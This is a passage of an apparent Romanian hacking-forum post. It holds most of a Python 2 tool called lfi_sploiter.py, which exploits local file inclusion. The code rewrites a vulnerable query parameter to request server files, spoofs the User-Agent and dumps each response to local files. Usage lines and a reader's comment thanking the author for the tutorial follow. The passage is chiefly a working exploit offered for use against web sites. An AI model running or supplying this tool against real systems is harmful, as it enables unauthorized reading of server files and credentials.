vulnerable_parameter + param_equals + original_vulnerable_parameter_value modified_query_string = query_string.replace(replace_me, replace_string_2) lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://" lfi_url_part_two = "".join(get_parsed_url[1:2]) lfi_url_part_three = "".join(get_parsed_url[2:3]) + "?" lfi_url_part_four = "".join(modified_query_string) lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four request_website = urllib2.Request(lfi_url) request_website.add_header('User-Agent', user_agent) try: lfi_response = urllib2.urlopen(request_website) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e else: lfi_response_source_code = lfi_response.read() # Dump the file # We need to replace the "/" with underscores change_dump_filename = file.replace(for_the_first_test, for_changing_the_dump_file_name) print "[+] Dumping file: " + for_the_first_test + file FILE = open(change_dump_filename, "w") FILE.write(lfi_response_source_code ) FILE.close print "[i] Hint: The files are also dumped when we have no permission to view them." print "[i] Instead of the file, the PHP error message will be dumped." print "" print "[i] Completed the task. Will now exit!" print "[i] A small log file was created." print "[i] I know, there is more about LFI than it is covered here, but this will be implemented in later versions of this tool." print "[i] Feel free to send in some feedback!" print "" print"" sys.exit(1) return def main(argv): exploit_url="" vulnerable_parameter="" try: opts, args = getopt.getopt(sys.argv[1:], "", ["help", "exploit-url=", "vulnerable-parameter="]) except getopt.GetoptError : print_usage() sys.exit(2) for opt, arg in opts: if opt in ("--help"): print_help() break sys.exit(1) elif opt in ("--exploit-url") : exploit_url=arg elif opt in ("--vulnerable-parameter"): vulnerable_parameter=arg if len(exploit_url) < 1: print_usage() sys.exit() if len(vulnerable_parameter) < 1: print_usage() sys.exit() # Continue if all required arguments were passed to the script. print_banner() print "[i] Provided URL to exploit: " + exploit_url print "[i] Provided vulnerable parameter: " + vulnerable_parameter # Check if URL is test_url(exploit_url) # Calling the LFI exploit function exploit_lfi(exploit_url, vulnerable_parameter) if __name__ == "__main__": main(sys.argv[1:]) ### EOF ### Cum? ./lfi_sploiter.py –exploit-url= –vulnerable-parameter= ./lfi_sploiter.py –exploit-url=http://www.site.com/page.php?file=main –v

Foarte frumos tutorialul. Bravo B7ackAnge7z! Mersi pentru informatii.